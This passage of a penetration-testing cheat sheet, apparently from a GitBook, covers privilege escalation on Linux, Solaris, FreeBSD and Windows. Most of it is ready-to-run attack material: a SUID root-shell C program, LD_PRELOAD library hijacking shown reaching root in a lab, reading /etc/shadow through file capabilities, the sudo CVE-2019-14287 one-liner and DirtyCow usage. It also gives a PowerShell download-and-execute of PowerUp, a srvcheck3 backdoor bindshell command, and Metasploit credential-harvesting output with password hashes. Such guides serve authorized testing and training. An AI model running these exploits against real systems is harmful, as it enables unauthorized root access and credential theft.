        Code: TF=$(mktemp) 
              echo 'os.execute("/bin/sh")' > $TF 
              nmap --script=$TF 
        Description: The interactive mode, available on versions 2.02 to 
                     5.21, can be used to execute shell commands. 
        Code: nmap --interactive 
              nmap> !sh 
```

## inetd

`cat /etc/inetd.conf` Look for write permissions on any of the executables listed in this config file. If you have write permissions replace the executable i.e. cp /bin/bash /usr/sbin/in.rshd&#x20;

inetd will now serve the /bin/bash shell running with root privileges when we connect to the rshd default port 514:&#x20;

telnet remote\_ip\_address 514&#x20;

From <<https://www.engetsu-consulting.com/tag/Linux-Privilege-Escalation>>

## Dynamically Linked Shared Object Library

Find SUID or GUID &#x20;

`find / -perm -g=s -o -perm -u=s -type f 2>/dev/null`&#x20;

Find a executable which looks suspicious and shouldn't be there:&#x20;

```
james@attackdefense:~$ find / -perm -u=s -type f 2>/dev/null 
/bin/umount 
/bin/mount 
/bin/su 
/usr/bin/passwd 
/usr/bin/chfn 
/usr/bin/gpasswd 
/usr/bin/newgrp 
/usr/bin/chsh 
/usr/local/bin/welcome <---- hmmm 
```

Trying to run the file:&#x20;

`james@attackdefense:~/.lib$ /usr/local/bin/welcome/usr/local/bin/welcome: symbol lookup error: /usr/local/bin/welcome: undefined symbol: greetings`&#x20;

Check what shared libraries are used:&#x20;

```
james@attackdefense:~$ ldd /usr/local/bin/welcome 
        linux-vdso.so.1 (0x00007ffda84ad000) 
        libgreetings.so => not found 
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff13ab2b000) 
        /lib64/ld-linux-x86-64.so.2 (0x00007ff13b11e000)
```

We will use LD\_PRELOAD  - LD\_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.&#x20;

First we will need to create a malicious file instead of the missing library&#x20;

use the SUID Shell code and compile the code&#x20;

`james@attackdefense:~/.lib$ gcc -o libgreetings.so lib.c -shared`&#x20;

* the '-shared' is to compile it as a shared library file (.so)&#x20;

Load the file with the new library:&#x20;

`james@attackdefense:~/.lib$ LD_PRELOAD=/home/james/.lib/libgreetings.so /usr/local/bin/welcome`&#x20;

Run it:&#x20;

```
lib.c:6:2: warning: implicit declaration of function 'setresuid'; did you mean 'setreuid'? [-Wimplicit-function-declaration] 
  setresuid(0, 0, 0); 
  ^~~~~~~~~ 
  setreuid 
lib.c:7:2: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration] 
  system("/bin/bash"); 
  ^~~~~~ 
james@attackdefense:~/.lib$ ls -l 
total 12 
-rw-r--r-- 1 james james  130 Oct 30 14:51 lib.c 
-rwxr-xr-x 1 james james 7960 Oct 30 14:54 libgreetings.so 
james@attackdefense:~/.lib$ /usr/local/bin/welcome
Enter your name 
id 
root@attackdefense:~/.lib# ls 
lib.c  libgreetings.so 
root@attackdefense:~/.lib# cd /home/root 
bash: cd: /home/root: No such file or directory 
root@attackdefense:~/.lib# cd /root/ 
root@attackdefense:/root# ls 
flag 
root@attackdefense:/root# cat flag 
521d81adc77627782df4bc545ec604de 
root@attackdefense:/root# 
```

## Abuse Capabilities utility

Capabilities are a little obscure but similar in principle to SUID. Linux’s thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges they’re allowed to use. By default, root has all of them.&#x20;

Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.&#x20;

\*Used with GTFOBins&#x20;

Find out what capabilities are Enabled&#x20;

`[user@box ~]$ getcap -r / 2>/dev/null`&#x20;

You will get output like the following…&#x20;

```
/usr/bin/ping = cap_net_admin,cap_net_raw+p 
/usr/sbin/mtr = cap_net_raw+ep 
/usr/sbin/suexec = cap_setgid,cap_setuid+ep 
/usr/sbin/arping = cap_net_raw+p 
/usr/sbin/clockdiff = cap_net_raw+p 
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep 
/home/user/tcpdump = cap_net_admin,cap_net_raw+ep 
/home/user/openssl =ep 
```

### CAP\_DAC\_READ\_SEARCH&#x20;

For example if we found

`/home/nxnjz/tar = cap_dac_read_search+ep`&#x20;

&#x20;tar has cap\_dac\_read\_search capabilities. This means it has read access to anything. We could use this to read SSH keys, or /etc/shadow and get password hashes.&#x20;

```
nxnjz@test-machine:~$ cat /etc/shadow 
cat: /etc/shadow: Permission denied 
```

But since tar has that capability, we can archive /etc/shadow, extract it from the archive and read it.&#x20;

```
nxnjz@test-machine:~$ ls 
tar 
nxnjz@test-machine:~$ ./tar -cvf shadow.tar /etc/shadow 
./tar: Removing leading `/’ from member names 
/etc/shadow 
nxnjz@test-machine:~$ ls 
shadow.tar tar 
nxnjz@test-machine:~$ ./tar -xvf shadow.tar 
etc/shadow 
nxnjz@test-machine:~$ ls 
etc shadow.tar tar 
nxnjz@test-machine:~$ cat etc/shadow 
root:$1$xyz$Bf.3hZ4SmETM3A78n1nWr.:17735:0:99999:7::: 
```

### CAP\_setuid&#x20;

```
/usr/bin/setcap -r /bin/ping            # remove 
/usr/bin/setcap cap_net_raw+p /bin/ping # add 
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7 
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' 
sh-5.0# id 
uid=0(root) gid=1000(swissky) 
```

### CAP\_NET\_RAW&#x20;

Can capture data as root&#x20;

`Tcpdump -ni {Interface}` &#x20;


# SUID Shell script

If  your able to run a executable to escalate privilege, you can use the following code to gain root privileges:

code:

```
int main(void){ 
    setresuid(0, 0, 0); 
    system("/bin/bash"); 
} 
```

Building the SUID Shell binary:&#x20;

`gcc -o suid suid.c`  &#x20;

For 32 bit:&#x20;

`gcc -m32 -o suid suid.c`  &#x20;


# CVE-2019-14287

&#x20;There was a public CVE release in November 2019 about how there were other ways to enter root besides `root` that got around this restriction. This impacts `sudo` versions before 1.8.28.

find sudo version:

`sudo --version`

exploit:

`sudo -u#-1 /bin/bash`


# Kernel exploit

Link: <https://github.com/SecWiki/linux-kernel-exploits>


# Solaris

## Exploit Suggester

Check for issues using [Exploit Suggester ](/infrastructure-testing/privilege-esclation/automated-tools#solaris-exploit-suggester)

## pfexec

The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec\_attr(4) database. It is invoked by the profile shells, pfsh, pfcsh, and pfksh which are linked to the Bourne shell, C shell, and Korn shell, respectively.&#x20;

If we find SUID binary &#x20;

Find / -perm -u=s -type f 2>/dev/null&#x20;

pfexec bash&#x20;

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2F0AFMrtELlZYPm1lJvIBT%2Ffile.png?alt=media)

## DirtyCow

<https://github.com/exrienz/DirtyCow>&#x20;

<https://github.com/dirtycow/dirtycow.github.io>&#x20;

Usage Example For 32 Bit&#x20;

```
gcc dc32.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

Usage Example For 64 Bit&#x20;

```
gcc dc64.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

## GTFOBins

Consider looking for Sudo misconfiguration as well

More information on [GTFOBins](/infrastructure-testing/privilege-esclation/linux#sudo-misconfiguration)


# FreeBSD

find freebsd version:

`uname -a`

view installed software:

`pkg_info` or `pkg info`

view passwords:

`vipw` or `cat /etc/master.passwd`

View listening ports:

`netstat -an -p tcp`

view services:

`ps aux`

Shows operating system info

`uname -a`

search files for password:

`grep -ri 'password' *`

cracking passwords

```
sudo john master.passwd --wordlist=pass 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
password          (iron)
1g 0:00:00:00 DONE (2020-10-02 11:35) 25.00g/s 100.0p/s 100.0c/s 100.0C/s iron..577
Use the "--show" option to display all of the cracked passwords reliably
Session completed

```


# Automated tools

Tools which will make your life easier in a search for privilege escalation paths

## Summary

| Name                      | Unix | Windows     | Solaris | Mac |
| ------------------------- | ---- | ----------- | ------- | --- |
| PEASS                     | sh   | exe and bat | -       | sh  |
| BeRoot                    | py   | exe         | -       | py  |
| Unix privesc check        | sh   | -           | -       | -   |
| Windows Exploit Suggester | -    | systeminfo  | -       | -   |
| Linux Exploit Suggester   | perl | -           | -       | -   |
| Solaris Exploit Suggester | -    | -           | showrev | -   |
| LinEnum                   | sh   | -           | -       | -   |
| Nishang                   | -    | PS          | -       | -   |
| SharpUp                   | -    | exe         | -       | -   |
| Seatbelt                  | -    | exe         | -       | -   |
| JAWS                      | -    | PS          | -       | -   |
| Watson                    | -    | exe         | -       | -   |
| PowerUp                   | -    | PS          | -       | -   |
| srvcheck3                 | -    | exe         | -       | -   |

## PEASS

PEASS - Privilege Escalation Awesome Scripts SUITE

Link: <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/README.md>

These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.

* Check the **Local Windows Privilege Escalation checklist** from [**book.hacktricks.xyz**](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)
* [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **- Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
* Check the **Local Linux Privilege Escalation checklist** from [**book.hacktricks.xyz**](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)
* [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **- Linux local Privilege Escalation Awesome Script (.sh)**

## BeRoot

BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege.\
&#x20;It has been added to the [pupy](https://github.com/n1nj4sec/pupy/) project as a post exploitation module (so it will be executed in memory without touching the disk).

Link: <https://github.com/AlessandroZ/BeRoot>

Windows pre compiled versions: <https://github.com/AlessandroZ/BeRoot/releases>

Linux: <https://github.com/AlessandroZ/BeRoot/tree/master/Linux>

## Unix privesc check

Unix-privesc-checker is a script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD 6.2). It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases).&#x20;

Link: <https://github.com/pentestmonkey/unix-privesc-check>&#x20;

Usage:&#x20;

`$ ./unix-privesc-check > output.txt`&#x20;

## Windows-Exploit-Suggester

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.&#x20;

It requires the 'systeminfo' command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.&#x20;

**USAGE**:

update the database :

```
$ ./windows-exploit-suggester.py --update 
[*] initiating... 
[*] successfully requested base url 
[*] scraped ms download url 
[+] writing to file 2014-06-06-mssb.xlsx 
[*] done 
```

feed it "systeminfo" input, and point it to the microsoft database&#x20;

`$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt`&#x20;

## Linux Exploit Suggester

When run without arguments, the script performs a 'uname -r' to grab the Linux operating system release version, and returns a list of possible exploits. Links to CVEs and applicable exploit POCs are included. Keep in mind that a patched/back-ported patch may fool this script.&#x20;

Usage:&#x20;

`$ ./linux-exploit-suggester.pl`&#x20;

## Solaris Exploit suggester

This tool reads the output of “showrev -p” on Solaris machines and outputs a list of exploits that you might want to try.  It currently focusses on local exploitation of Solaris 8 on SPARC, but other version of Solaris are partially supported.&#x20;

Link:&#x20;

<http://pentestmonkey.net/tools/audit/exploit-suggester>&#x20;

**Example Output**:

```
$ head showrev.out 
Patch: 109618-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWeuxwe, SUNWeuezt, SUNWeudlg, SUNWeudda 
Patch: 109889-01 Obsoletes: 109353-04 Requires:  Incompatibles:  Packages: SUNWkvmx, SUNWkvm, SUNWmdb, SUNWhea, SUNWpstl, SUNWpstlx 
Patch: 110369-05 Obsoletes: 110709-02 Requires:  Incompatibles:  Packages: SUNWkvmx, SUNWcarx, SUNWcsr 
```

**Running**:&#x20;

```
$ ./exploit-suggestions.pl 8 sparc showrev.out 
exploit-suggester v0.1 ( http://pentestmonkey.net/tools/exploit-suggester ) 
 ------------------------------------------------------------- 
|                     Runtime options                         | 
 ------------------------------------------------------------- 
Solaris version: ................ 8 
Architecture: ................... sparc 
Patch file: ..................... showrev.out 
Exploit database: ............... sploitdb.txt 
Don't list sploits rated as ..... N/A - Exclude no ratings 
List only sploits rated as ...... N/A - List any rating 
List only local sploits ......... N/A - Show both 

 ------------------------------------------------------------- 
|                   Suggested Exploits                        | 
 ------------------------------------------------------------- 
Description:          'at' Arbitrary File Deletion 
Remote:               0 
Exploit Rating:       1 (Sploit normally works) 
Patch installed:      108875-10 
Min vulnerable patch: 108875-00 
Max vulnerable patch: 108875-12 
Exploit Link:         http://www.securityfocus.com/data/vulnerabilities/exploits/isec-solaris-at-rm.c 
Exploit Link:         http://www.securityfocus.com/data/vulnerabilities/exploits/solaris-at.c 
Info Link:            http://securityfocus.com/bid
```

## LinEnum

Link: <https://github.com/rebootuser/LinEnum>

Scripted Local Linux Enumeration & Privilege Escalation Checks

version 0.982

* Example: `./LinEnum.sh -s -k keyword -r report -e /tmp/ -t`

OPTIONS:

* -k Enter keyword
* -e Enter export location
* -t Include thorough (lengthy) tests
* -s Supply current user password to check sudo perms (INSECURE)
* -r Enter report name
* -h Displays this help text

Running with no options = limited scans/no output file

## Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

**Link**: <https://github.com/samratashok/nishang>&#x20;

Also installed by default on Kali:&#x20;

`root@kali:~# ls -l /usr/share/nishang/`&#x20;

Escalation scripts:

* [Enable-DuplicateToken](https://github.com/samratashok/nishang/blob/master/Escalation/Enable-DuplicateToken.ps1) – When SYSTEM privileges are required.&#x20;
* [Remove-Update](https://github.com/samratashok/nishang/blob/master/Escalation/Remove-Update.ps1) – Introduce vulnerabilities by removing patches.&#x20;
* [Invoke-PsUACme](https://github.com/samratashok/nishang/blob/master/Escalation/Invoke-PsUACme.ps1) – Bypass UAC.&#x20;

## SharpUp

SharpUp is a C# port of various PowerUp functionality. Currently, only the most common checks have been ported; no weaponization functions have yet been implemented.&#x20;

**Link**: <https://github.com/GhostPack/SharpUp>&#x20;

**Usage:**

```
C:\Temp>SharpUp.exe 
=== SharpUp: Running Privilege Escalation Checks === 
 
=== Modifiable Services === 
Name             : VulnSvc 
DisplayName      : VulnSvc 
Description      : 
State            : Stopped 
StartMode        : Auto 
PathName         : C:\Program Files\VulnSvc\VulnSvc.exe 

=== Modifiable Service Binaries === 
Name             : VulnSvc2 
DisplayName      : VulnSvc22 
Description      : 
State            : Stopped 
StartMode        : Auto 
PathName         : C:\VulnSvc2\VulnSvc2.exe 

=== AlwaysInstallElevated Registry Keys === 
 
=== Modifiable Folders in %PATH% === 
Modifable %PATH% Folder  : C:\Go\bin 

=== Modifiable Registry Autoruns === 

=== *Special* User Privileges === 

=== Unattended Install Files === 

=== McAfee Sitelist.xml Files === 

[*] Completed Privesc Checks in 11 seconds 
```

## Seatbelt

Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.&#x20;

**Usage**&#x20;

`SeatBelt.exe` all will run ALL enumeration checks, can be combined with full.&#x20;

`SeatBelt.exe [CheckName]` full will prevent any filtering and will return complete results.&#x20;

`SeatBelt.exe [CheckName] [CheckName2] ...` will run one or more specified checks only (case-sensitive naming!)&#x20;

**SeatBelt.exe system collects the following system data**:&#x20;

```
BasicOSInfo           -   Basic OS info (i.e. architecture, OS version, etc.) 
RebootSchedule        -   Reboot schedule (last 15 days) based on event IDs 12 and 13 
TokenGroupPrivs       -   Current process/token privileges (e.g. SeDebugPrivilege/etc.) 
UACSystemPolicies     -   UAC system policies via the registry 
PowerShellSettings    -   PowerShell versions and security settings 
AuditSettings         -   Audit settings via the registry 
WEFSettings           -   Windows Event Forwarding (WEF) settings via the registry 
LSASettings           -   LSA settings (including auth packages) 
UserEnvVariables      -   Current user environment variables 
SystemEnvVariables    -   Current system environment variables 
UserFolders           -   Folders in C:\Users\ 
NonstandardServices   -   Services with file info company names that don't contain 'Microsoft' 
InternetSettings      -   Internet settings including proxy configs 
LapsSettings          -   LAPS settings, if installed 
LocalGroupMembers     -   Members of local admins, RDP, and DCOM 
MappedDrives          -   Mapped drives 
RDPSessions           -   Current incoming RDP sessions 
WMIMappedDrives       -   Mapped drives via WMI 
NetworkShares         -   Network shares 
FirewallRules         -   Deny firewall rules, "full" dumps all 
AntiVirusWMI          -   Registered antivirus (via WMI) 
InterestingProcesses  -   "Interesting" processes- defensive products and admin tools 
RegistryAutoRuns      -   Registry autoruns 
RegistryAutoLogon     -   Registry autologon information 
DNSCache              -   DNS cache entries (via WMI) 
ARPTable              -   Lists the current ARP table and adapter information (equivalent to arp -a) 
AllTcpConnections     -   Lists current TCP connections and associated processes 
AllUdpConnections     -   Lists current UDP connections and associated processes 
NonstandardProcesses  -   Running processeswith file info company names that don't contain 'Microsoft' 
  *  If the user is in high integrity, the following additional actions are run: 
SysmonConfig          -   Sysmon configuration from the registry 
```

**SeatBelt.exe user collects the following user data:**

```
SavedRDPConnections   -   Saved RDP connections 
TriageIE              -   Internet Explorer bookmarks and history (last 7 days) 
DumpVault             -   Dump saved credentials in Windows Vault (i.e. logins from Internet Explorer and Edge), from SharpWeb 
RecentRunCommands     -   Recent "run" commands 
PuttySessions         -   Interesting settings from any saved Putty configurations 
PuttySSHHostKeys      -   Saved putty SSH host keys 
CloudCreds            -   AWS/Google/Azure cloud credential files (SharpCloud) 
RecentFiles           -   Parsed "recent files" shortcuts (last 7 days) 
MasterKeys            -   List DPAPI master keys 
CredFiles             -   List Windows credential DPAPI blobs 
RDCManFiles           -   List Windows Remote Desktop Connection Manager settings files 
  *  If the user is in high integrity, this data is collected for ALL users instead of just the current user 
```

Non-default collection options:

```
CurrentDomainGroups   -   The current user's local and domain groups 
Patches               -   Installed patches via WMI (takes a bit on some systems) 
LogonSessions         -   User logon session data 
KerberosTGTData       -   ALL TEH TGTZ! 
InterestingFiles      -   "Interesting" files matching various patterns in the user's folder 
IETabs                -   Open Internet Explorer tabs 
TriageChrome          -   Chrome bookmarks and history 
TriageFirefox         -   Firefox history (no bookmarks) 
RecycleBin            -   Items in the Recycle Bin deleted in the last 30 days - only works from a user context! 
4624Events            -   4624 logon events from the security event log 
4648Events            -   4648 explicit logon events from the security event log 
KerberosTickets       -   List Kerberos tickets. If elevated, grouped by all logon sessions.
```

## JAWS

JAWS - Just Another Windows (Enum) Script&#x20;

JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so 'should' run on every Windows version since Windows 7.&#x20;

Link:  [GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)&#x20;

**Usage:**&#x20;

Run from within CMD shell and write out to file.&#x20;

`CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt`&#x20;

Run from within CMD shell and write out to screen.&#x20;

`CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1`&#x20;

Run from within PS Shell and write out to file.&#x20;

`PS C:\temp> .\jaws-enum.ps1 -OutputFileName Jaws-Enum.txt`&#x20;

## Watson

Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.&#x20;

Link:  [GitHub - rasta-mouse/Watson: Enumerate missing KBs and...](https://github.com/rasta-mouse/Watson)&#x20;

Usage:

```
Usage: 
C:> Watson.exe 
__    __      _ 
/ / /\ \ \__ _| |_ ___  ___  _ __ 
\ \/  \/ / _` | __/ __|/ _ \| '_ \ 
  \  /\  / (_| | |_\__ \ (_) | | | | 
   \/  \/ \__,_|\__|___/\___/|_| |_| 

v2.0 

@_RastaMouse 

[*] OS Build Number: 14393 
[*] Enumerating installed KBs... 

[!] CVE-2019-0836 : VULNERABLE 
  [>] https://exploit-db.com/exploits/46718 
  [>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/ 

[!] CVE-2019-0841 : VULNERABLE 
  [>] https://github.com/rogue-kdc/CVE-2019-0841 
  [>] https://rastamouse.me/tags/cve-2019-0841/ 

[!] CVE-2019-1064 : VULNERABLE 
  [>] https://www.rythmstick.net/posts/cve-2019-1064/ 

[!] CVE-2019-1130 : VULNERABLE 
  [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear 

[!] CVE-2019-1253 : VULNERABLE 
  [>] https://github.com/padovah4ck/CVE-2019-1253 

[!] CVE-2019-1315 : VULNERABLE 
  [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html 

[*] Finished. Found 6 potential vulnerabilities. 
```

## PowerUp

Cheat sheet:  <https://github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf>&#x20;

**Download and run:**

`powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks`&#x20;

For all checks:&#x20;

`PS C:\Users\mssql-svc\appdata\local\temp> Invoke-AllChecks`&#x20;

## srvcheck3

Privilege escalation for Windows XP SP2 and before&#x20;

This can exploit vulnerable services. <http://seclists.org/fulldisclosure/2006/Feb/231&#x20>;

**Example**: &#x20;

`srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c c:\Inetpub\wwwroot\shell.exe"`&#x20;

View menu:&#x20;

`D:\Programación\srvcheck2>srvcheck`3`.exe -?`&#x20;

examples:

`Srvcheck3.exe -l` (list local vulnerabilities)&#x20;

`Srvcheck3.exe -l -H 192.168.1.1-192.168.1.255 -u domainuser -p domainpass`&#x20;

`Srvcheck3.exe -l -f hosts.txt -u DOMAINuser -p password` (list remote vulnerabilities)

`Srvcheck3.exe -m service -H host -c "cmd.exe /c md c:\PWNED"`&#x20;

`Srvcheck3.exe -m vulnservice -H 192.168.1.200 -u domainuser -p domainpass -r 192.168.1.1 21 backdoor.exe` (exe cutes backdoor.exe bindshell)


# Metasploit Modules

useful metasploit modules for privilege escalation

## Windows Gather Privileges

This module will print if UAC is enabled, and if the current account is ADMIN enabled. It will also print UID, foreground SESSION ID, is SYSTEM status and current process PRIVILEGES.

## Bypassuac

You can use one of the following modules to perform UAC bypass

```
msf5 > search bypassuac 

Matching Modules 
================ 
   #   Name                                                   Disclosure Date  Rank       Check  Description 
   -   ----                                                   ---------------  ----       -----  ----------- 
   0   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass 
   1   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack) 
   2   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key) 
   3   exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key) 
   4   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) 
   5   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS 
   6   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup) 
   7   exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack) 
   8   exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability) 
   9   exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) 
   10  exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry  
```

Example:

![](https://3352625434-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M4xwp6Mq18nX8yR4M5z%2F-M5pmlHToV-wvBX0l7B3%2F-M5urFlrarEIg1u4G_Fq%2FGetImage.png?alt=media\&token=5286f3a9-f5de-47d1-8d7c-9185bf9f5f99)

## Gather installed applications

```
msf5 exploit(multi/handler) > use post/windows/gather/enum_applications 
msf5 post(windows/gather/enum_applications) > show options 
Module options (post/windows/gather/enum_applications): 
Name Current Setting Required Description 

SESSION yes The session to run this module on. 
msf5 post(windows/gather/enum_applications) > set session 1 
session => 1 
msf5 post(windows/gather/enum_applications) > run 
[*] Enumerating applications installed on DESKTOP-L1USHAD 
Installed Applications 
Name Version 

.NET Core SDK 1.1.11 (x64) 1.1.11 
.NET Core SDK 1.1.11 (x64) 1.1.11 
ClickOnce Bootstrapper Package for Microsoft .NET Framework 4.7.03083 
ClickOnce Bootstrapper Package for Microsoft .NET Framework 4.7.03083 
FreeMind 1.0.0 
FreeMind 1.0.0 
Google Chrome 71.0.3578.98 
Google Chrome 71.0.3578.98 
Google Update Helper 1.3.33.23 
Google Update Helper 1.3.33.23 
IntelliTraceProfilerProxy 15.0.17289.01 
IntelliTraceProfilerProxy 15.0.17289.01 
Java 8 Update 201 8.0.2010.9 
Java 8 Update 201 8.0.2010.9 
Java Auto Updater 2.8.201.9 
Java Auto Updater 2.8.201.9 
Microsoft .NET Core SDK - 2.1.202 (x64) 2.1.202 
Microsoft Office Professional Plus 2013 15.0.4569.1506 
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25008 14.10.25008 
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25008 14.10.25008 
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25008 14.10.25008 
Microsoft Visual Studio Setup Configuration 1.18.21.37008 
Microsoft Visual Studio Setup Configuration 1.18.21.37008 
Microsoft Word MUI (English) 2013 15.0.4569.1506 
Microsoft Word MUI (English) 2013 15.0.4569.1506 
Outils de vérification linguistique 2013 de Microsoft Office - Français 15.0.4569.1506 
Outils de vérification linguistique 2013 de Microsoft Office - Français 15.0.4569.1506 
TypeScript Power Tool 2.1.7.0 
TypeScript Power Tool 2.1.7.0 
TypeScript SDK 3.1.2.0 
vs_tipsmsi 15.0.27005
vs_tipsmsi 15.0.27005 
[+] Results stored in: /root/.msf4/loot/20190206101541_default_192.168.165.128_host.application_399426.txt 
[*] Post module execution completed 
msf5 post(windows/gather/enum_applications) 
```

## credential\_collector

The credential\_collector module harvests passwords hashes and tokens on the compromised host.

Example:

```
meterpreter > run post/windows/gather/credentials/credential_collector  

[*] Running module against V-MAC-XP 
[+] Collecting hashes... 
    Extracted: Administrator:7bf4f254f224bb24aad3b435b51404ee:2892d23cdf84d7a70e2eb2b9f05c425e 
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 
    Extracted: HelpAssistant:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd474714 
    Extracted: SUPPORT_388945a0:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74ddd9b4c287 
[+] Collecting tokens... 
    NT AUTHORITY\LOCAL SERVICE 
    NT AUTHORITY\NETWORK SERVICE 
    NT AUTHORITY\SYSTEM 
    NT AUTHORITY\ANONYMOUS LOGON 
meterpreter > 
```

## Enum shares

The enum\_shares post module returns a listing of both configured and recently used shares on the compromised system.&#x20;

Example:&#x20;

```
meterpreter > run post/windows/gather/enum_shares  

[*] Running against session 3 
[*] The following shares were found: 
[*] Name: Desktop 
[*] Path: C:\Documents and Settings\Administrator\Desktop 
[*] Type: 0 
[*]  
[*] Recent Mounts found: 
[*] \\192.168.1.250\software 
[*] \\192.168.1.250\Data 
[*]  
meterpreter > 
```

## Check if it's a VM

```
msf5 post(windows/gather/enum_applications) > use post/windows/gather/checkvm 
msf5 post(windows/gather/checkvm) > show options 
Module options (post/windows/gather/checkvm): 
Name Current Setting Required Description 

SESSION yes The session to run this module on. 
msf5 post(windows/gather/checkvm) > set session 1 
session => 1 
msf5 post(windows/gather/checkvm) > run 
[] Checking if DESKTOP-L1USHAD is a Virtual Machine ..... 
[+] This is a VMware Virtual Machine 
[] Post module execution completed 
msf5 post(windows/gather/checkvm) > 
```

## Local\_exploit\_suggester

Metasploit has a nice module to check for local exploits:&#x20;

```
meterpreter > background 
[*] Backgrounding session 1... 
msf5 exploit(multi/handler) > search local_exploit 

Matching Modules 
================ 

   Name                                      Disclosure Date  Rank    Check  Description 
   ----                                      ---------------  ----    -----  ----------- 
   post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester 

msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf5 post(multi/recon/local_exploit_suggester) > set session 1 
session => 1 
msf5 post(multi/recon/local_exploit_suggester) > run 

[*] 10.10.10.15 - Collecting local exploits for x86/windows... 
[*] 10.10.10.15 - 29 exploit checks are being tried... 
[+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated. 
[+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. 
